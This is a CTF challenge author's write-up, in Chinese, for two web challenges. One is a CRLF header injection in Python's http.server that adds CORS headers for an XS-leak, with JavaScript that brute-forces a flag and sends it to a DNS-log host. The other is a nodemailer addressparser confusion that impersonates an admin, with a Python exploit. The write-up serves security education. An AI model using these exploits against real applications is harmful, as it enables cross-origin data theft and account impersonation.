文章

N1CTF Junior 2026 1/2 出题小记

这次依旧是出了两道题

posetman在预期范围内

但是notes差点零解,不得已上了hint是我没想到的

可能是大部分师傅都默认http.server 这种官方库应该不存在CRLF这种问题吧,,,

以下是wp

Notes

题目提供了一个笔记应用,admin用户在初始化时会创建一个包含flag的笔记

我们需要让bot访问恶意链接来窃取flag

app/handlers/notes.py 中,export_notes 函数负责处理笔记的导出。它接收 filename 参数,并将其直接放入 Content-Disposition 响应头中

    def export_notes(self, username, search_query, filename):
        # ...
        try:
            self.send_header('Content-Disposition', f'attachment; filename="{filename}"')
        except ValueError:
            pass
        self.send_header("X-Content-Type-Options", "nosniff")
        self.send_header("Content-type", "application/json")
        # ...
        self.wfile.write(json.dumps(export_data, indent=2).encode())

而在 http.server 中,查看send_header的实现可知其存在 CRLF 问题

def send_header(self, keyword, value):
    # ...
        self._headers_buffer.append(
            ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
    # ...    

这里完全没有对换行符等进行过滤,因此攻击者可以在 filename 参数中插入 \r\n,从而注入任意 HTTP 响应头

应用提供了一个搜索接口 /api/search?q=...,如果搜索命中,它会返回结果的 JSON 列表

正常情况下,由于同源策略的限制,攻击者控制的页面无法通过 fetch 等方法直接读取响应内容

但是,结合上述的 CRLF 注入漏洞,我们可以注入 CORS 请求头,从而允许跨域读取:

Access-Control-Allow-Origin: <Attacker_Origin>
Access-Control-Allow-Credentials: true

原始header是:

Content-Disposition: attachment; filename="<Input>"

我们需要闭合双引号,换行,注入 CORS 头,最后将原本后面自带的引号清理掉

const ORIGIN = window.location.origin; 
const PAYLOAD = `1"
Access-Control-Allow-Origin: ${ORIGIN}
Access-Control-Allow-Credentials: true
X-Padding: `; 
const filename = encodeURIComponent(PAYLOAD).replace(/%0A/g, '%0d%0a');

注入后的响应头大致如下:

Content-Disposition: attachment; filename="1"
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
X-Padding: "
Content-type: application/json
...

有了CORS头后,我们就可以进行 xsleak 了

如果当前的 data.results.length > 0,说明搜索内容与flag匹配,然后按位爆破

exp:

<script>
    const TARGET = "http://127.0.0.1:5000";
    const DNSLOG = "<dnslog>";
    const CHARSET = "_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    const ORIGIN = window.location.origin; 
    const PAYLOAD = `1"
Access-Control-Allow-Origin: ${ORIGIN}
Access-Control-Allow-Credentials: true
X-Padding: `; 
    const filename = encodeURIComponent(PAYLOAD).replace(/%0A/g, '%0d%0a');
    
    async function check(char, currentFlag) {
        const query = currentFlag + char;
        const url = `${TARGET}/api/search?q=${encodeURIComponent(query)}&filename=${filename}`;
        try {
            const response = await fetch(url, {credentials: 'include'});
            const data = await response.json();
            if (data.results && data.results.length > 0) {
                return true;
            }
        } catch (e) {
        }
        return false;
    }
​
    async function exploit() {
        let flag = "flag{";
        while (!flag.endsWith("}")) {
            let foundChar = false;
            for (let char of CHARSET) {
                const isFound = await check(char, flag);
                if (isFound) {
                    flag += char;
                    foundChar = true;
                    fetch(`${DNSLOG}/?flag=` + encodeURIComponent(flag));
                    break;
                }
            }
            if (!foundChar) break;
        }
        fetch(`${DNSLOG}/?final=` + encodeURIComponent(flag));
    }
    exploit();
</script>

将上述代码部署在公网服务器,提交 URL 给 bot,即可在 dnslog 中收到 flag

建议使用 firefox 进行本地测试,因为 chrome 的 Private Network Access 机制会阻止公网访问内网的请求,可能无法正常本地打通

另外, firefox 的安全限制似乎也要稍微宽松点

Postman

题目是一个简单的邮件发送与接收系统

发送邮件的逻辑位于/send,通过检测解析后的用户名和邮箱解析结果来决定是否附带Flag

const senderUser = USERS.find(u => u.username === senderUsername);
const recipientUser = USERS.find(u => u.username === recipientUsername);
if (!senderUser || !recipientUser) {
    return res.send("Error");
}
const rawFrom = `${senderUser.username} <${senderUser.email}>`;
const parsed = addressparser(rawFrom);
const len = parsed.length;
const senderEntry = parsed[len - 1];
if (!senderEntry) {
    return res.send("Error");
}
const resolvedEmail = senderEntry.address;
const resolvedUsername = senderEntry.name;
let finalContent = content;
if (resolvedEmail === ADMIN_EMAIL && resolvedUsername === ADMIN_USERNAME) {
    finalContent += `\n\nAdmin's flag: ${FLAG}`;
}

这里将用户名和邮箱进行拼接,规则是{name} <{name}@test.com>,并使用了nodemailer/lib/addressparser来解析拼接后的字符串

只需要同时让解析后发信者的用户名和邮箱分别为Administrator[email protected],即可在信件内容中加入flag

注册的WAF逻辑如下:

const invalidChars = [' ',',','"',"'",'\\','/','`',';','%','<', '>','[',']','{','}','|',':'];
// ...
if (username.toLowerCase().includes("admin")) {
    return res.render('index', { page: 'login', error: "Username contains invalid characters." });
}

黑名单禁止了大部分特殊字符,同时检测了admin关键字

阅读addressparser的源码,发现Tokenizer中的checkChar函数会删除ASCII值小于33并且不是空格和\t的字符

if (chr.charCodeAt(0) >= 0x21 || [' ', '\t'].includes(chr)) {
    // skip command bytes
    this.node.value += chr;
}

继续阅读解析规则后可知,在解析用户名和地址时,左括号(会开启注释模式,一直到闭合

并且当要解析的具体内容没有<>时,会尝试进行匹配

if (!data.address.length) {
    for (...) {
        //匹配邮箱
        if (data.address.length) {break;}
        }
    }

也就是说,类似于name [email protected]会被正确解析

然后\n会被转化为空格

if (chr === '\n') {
    chr = ' ';
}

结合以上分析,便可构造出如下用户名:

Ad\vministrator\nad\vmin@ad\vmin.com(

后端拼接后的字符串变为:

Ad\vministrator\nad\vmin@ad\vmin.com( <Ad\vministrator\nad\vmin@ad\vmin.com(@test.com>

其中\v会被删除,\n转化为空格,(会使后续内容无效

因此解析后会是

{
    "address": "[email protected]",
    "name": "Administrator"
}

然后给自己发送信件,即可拿到flag

exp:

import requests
import re
​
url = "http://localhost:5000"
​
def register(username, password):
    data = {
        "username": username,
        "password": password
    }
    response = requests.post(f"{url}/register", data=data)
    return response.text
​
def send(session, to, subject, body):
    data = {
        "recipientUsername": to,
        "subject": subject,
        "content": body
    }
    response = session.post(f"{url}/send", data=data)
    return response.text
​
def login(username, password):
    session = requests.Session()
    data = {
        "username": username,
        "password": password
    }
    response = session.post(f"{url}/login", data=data)
    return session, response.text
​
def check(session):
    response = session.get(f"{url}/")
    try:
        flag = re.findall(r'flag\{.*?\}', response.text)[0]
    except IndexError:
        flag = "Flag not found"
    return flag
​
if __name__ == "__main__":
    username = "Ad\vministrator\nad\vmin@ad\vmin.com("
    password = "1"
    register(username, password)
    session, _ = login(username, password)
    print(session.cookies.get_dict())
    send(session, username, "1", "1")
    print(check(session))


许可协议:  CC BY 4.0